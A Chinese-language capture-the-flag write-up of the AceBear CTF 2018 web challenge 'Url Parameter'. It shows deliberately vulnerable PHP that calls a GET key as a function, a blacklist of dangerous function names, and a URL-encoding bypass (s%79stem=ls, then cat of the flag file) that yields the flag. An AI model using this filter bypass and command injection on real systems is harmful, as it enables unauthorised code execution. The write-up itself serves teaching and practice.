[AceBear CTF 2018] Web
2018-01-30 本文已影响27人
JasonChiu17
Url Parameter
Description: this chall sucks, you should watch VIE vs UZB match. :)
VIET NAM VO DICH!
Author: kad96
Website: Link
-
分析:
题目没给什么提示,当时正值亚洲杯决赛越南打乌兹别克斯坦,作者还叫我们去看比赛,还说VIET NAM VO DICH!(越南必胜) - 点进去
-->主页,空白;
-->查看源码,空白;
-->查看robots.txt文件
# you know de wae ma queen
User-Agent: *
Disallow: /?debug
-
http://35.196.45.11:8080/?debug
定义了一个blacklist,过滤了一系列命令字符,现在就是要怎么绕开这个黑名单。
REQUEST_URI的作用是取得当前URI,所以可以改url来绕开blacklist
$blacklist = "assert|system|passthru|exec|assert|read|open|eval|`|_|file|dir|\.\.|\/\/|curl|ftp|glob";
if(count($_GET) > 0){
if(preg_match("/$blacklist/i",$_SERVER["REQUEST_URI"])) die("No no no hackers!!");
list($key, $val) = each($_GET);
$key($val);
}
-
http://35.196.45.11:8080/?system=ls
$_SERVER["REQUEST_URI"]=/?system=ls
- 利用url编码/解码,URL编码用百分号加字符的16进制编码表示字符,字符到16进制转码得到system的16进制为0x73797374656d,则可以改system任意一个字符,但是需要在16进制前加%号:
$_SERVER["REQUEST_URI"]=/?s%79stem=ls
url解码s%79stem为system。 - 查看http://35.196.45.11:8080/?s%79stem=cat flag-a-long-name-that-you-wont-know.php,发现是空白,于是查看源码:
view-source:http://35.196.45.11:8080/?s%79stem=cat flag-a-long-name-that-you-wont-know.php
<?php
//here the flag: AceBear{I_did_something_stupid_with_url}
?>
- flag: AceBear{I_did_something_stupid_with_url}